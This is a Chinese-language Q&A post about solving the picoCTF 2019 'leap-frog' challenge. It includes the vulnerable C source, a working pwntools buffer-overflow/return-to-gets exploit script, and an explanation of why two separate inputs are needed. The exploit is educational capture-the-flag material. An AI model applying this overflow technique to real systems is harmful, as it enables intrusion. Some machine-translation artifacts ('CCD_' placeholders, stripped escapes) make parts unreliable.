c-为什么此漏洞需要两次单独的有效载荷注入而不是一次



我是二进制利用问题的新手。这个来自picoctf 2019,飞跃青蛙。我感兴趣的特定解决方案使用vuln((函数上的缓冲区溢出来强制执行返回gets的PLT条目。这样做是因为gets允许我们在内存中的任意位置进行写入(请参阅链接(。我们有兴趣写信给win1win2win3。如果我们可以将每个设置为true,那么我们就可以打印标志了!因此,我们只需要开发buffer + address_gets_plt + address_flag + address_win1 + values_for_win_vartiables程序。

来源

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <stdbool.h>

#define FLAG_SIZE 64
bool win1 = false;
bool win2 = false;
bool win3 = false;
void leapA() {
win1 = true;
}
void leap2(unsigned int arg_check) {
if (win3 && arg_check == 0xDEADBEEF) {
win2 = true;
}
else if (win3) {
printf("Wrong Argument. Try Again.n");
}
else {
printf("Nope. Try a little bit harder.n");
}
}
void leap3() {
if (win1 && !win1) {
win3 = true;
}
else {
printf("Nope. Try a little bit harder.n");
}
}
void display_flag() {
char flag[FLAG_SIZE];
FILE *file;
file = fopen("flag.txt", "r");
if (file == NULL) {
printf("'flag.txt' missing in the current directory!n");
exit(0);
}
fgets(flag, sizeof(flag), file);

if (win1 && win2 && win3) {
printf("%s", flag);
return;
}
else if (win1 || win3) {
printf("Nice Try! You're Getting There!n");
}
else {
printf("You won't get the flag that easy..n");
}
}
void vuln() {
char buf[16];
printf("Enter your input> ");
return gets(buf);
}
int main(int argc, char **argv){
setvbuf(stdout, NULL, _IONBF, 0);

// Set the gid to the effective gid
// this prevents /bin/sh from dropping the privileges
gid_t gid = getegid();
setresgid(gid, gid, gid);
vuln();
}

以下脚本在CTF的shell 中运行时打印标志

解决方案脚本

from pwn import *
payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
p = process('./rop')
p.recvuntil('> ')
p.sendline(payload)
p.sendline('x01x01x01x00')  # sets win1, win2, win3 to true via gets reading from stdin
print('Flag: ' + p.recvuntil('}'))
break
except:
p.close()

以下脚本不起作用,但程序之间的唯一区别是合并了sendline()调用。我猜这是因为程序还没有到达gets的调用,所以它还没有准备好从stdin输入。

失败的解决方案1

from pwn import *
payload = ('A'*28) + p32(0x08048430)  + p32(0x80486b3) + p32(0x0804a03d)
#       =          + address_gets_plt + address_flag   + address_win1
try:
p = process('./rop')
p.recvuntil('> ')
p.sendline(payload+'x01x01x01x00')
print('Flag: ' + p.recvuntil('}'))
break
except:
p.close()

失败的解决方案2

然后,我尝试在不将'x01x01x01x00'附加到payload的情况下运行该程序,希望执行会命中get并等待stdin输入;然而,我得到了一个segfault。对于这两个失败的解决方案,我的逻辑有什么问题?谢谢

您需要两个不同的有效载荷,因为对gets()有两种不同的调用。sendline()在您的输入/有效负载[1]中添加一个换行符,gets()读取输入直到读取换行符[2]。因此,一个sendline()只馈送一个gets()

为什么有两个呼叫gets()?好吧,对gets()第一次调用发生在vuln()函数中,其目的是更改执行流。如果运行程序,gets()会请求用户输入,并将其存储在堆栈上的buf[16]中。因为gets()不检查缓冲区溢出[2],所以实际上可以通过插入大于16字节的输入来破坏堆栈。因此第一CCD_ 19将有效载荷CCD_。这会损坏堆栈并更改执行流。有效载荷中的第一地址0x08048430(gets@plt的地址(操纵第一gets()的返回地址。因此,当第一个gets()完成执行时,它跳到第二个gets()。这是对gets()第二次调用。第二地址0x80486b3(display_flag()的地址(是第二gets()的返回地址。因此,当第二个调用离开时,它跳到display_flag()。第三地址0x0804a03d(win1变量的地址(是用于第二gets()的缓冲器。因此,第二个gets()期望来自用户的另一个输入/有效载荷,并将其写入win1的地址。第二输入端由第二CCD_ 36提供服务。

您的第一个解决方案失败了,因为您只提供第一个gets()调用,所以第二个gets()调用根本没有输入。您的第二个解决方案由于同样的原因而失败。

最新更新